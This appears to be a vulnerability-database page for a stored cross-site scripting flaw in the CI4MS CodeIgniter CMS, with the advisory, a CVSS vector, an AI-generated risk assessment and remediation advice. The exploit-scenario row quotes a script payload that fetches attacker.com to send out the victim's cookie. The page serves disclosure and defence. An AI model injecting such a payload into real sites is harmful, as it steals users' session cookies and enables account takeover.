EUVD-2026-18081
GHSA-r33w-c82v-x5v7
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L
Lifecycle Timeline
4DescriptionGitHub Advisory
CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input when creating or editing blog posts within the Categories section. An attacker can inject a malicious JavaScript payload into the Categories content, which is then stored server-side. This stored payload is later rendered unsafely when the Categories are viewed via blog posts, without proper output encoding, leading to stored cross-site scripting (XSS). This issue has been patched in version 0.31.0.0.
AnalysisAI
Stored cross-site scripting in CI4MS (CodeIgniter 4 CMS) allows authenticated users with blog post management privileges to inject malicious JavaScript through unsanitized category fields, affecting all users who view blog posts containing the poisoned categories. The vulnerability is confirmed patched in version 0.31.0.0. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Attacker requires authenticated user access with permissions to create or edit blog posts in the Categories section of CI4MS versions prior to 0.31.0.0. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 9.1 Critical rating reflects genuinely elevated risk factors: network-based attack vector (AV:N), low complexity (AC:L), scope change (S:C) indicating the vulnerability can affect resources beyond the vulnerable component, and high confidentiality impact (C:H). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with low-privilege authenticated access to the CI4MS installation (such as a contributor or editor role with blog management permissions) navigates to the Categories management interface and creates a new category with a malicious JavaScript payload embedded in the category name or description field, for example: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. The application stores this payload without sanitization. … |
| Remediation | Upgrade to CI4MS version 0.31.0.0 immediately, which contains vendor-released patches addressing the input sanitization and output encoding deficiencies in the Categories management module. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all CI4MS deployments and confirm current versions; restrict blog post management privileges to fully-trusted staff only and audit recent category field modifications for suspicious content. …
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External POC / Exploit Code
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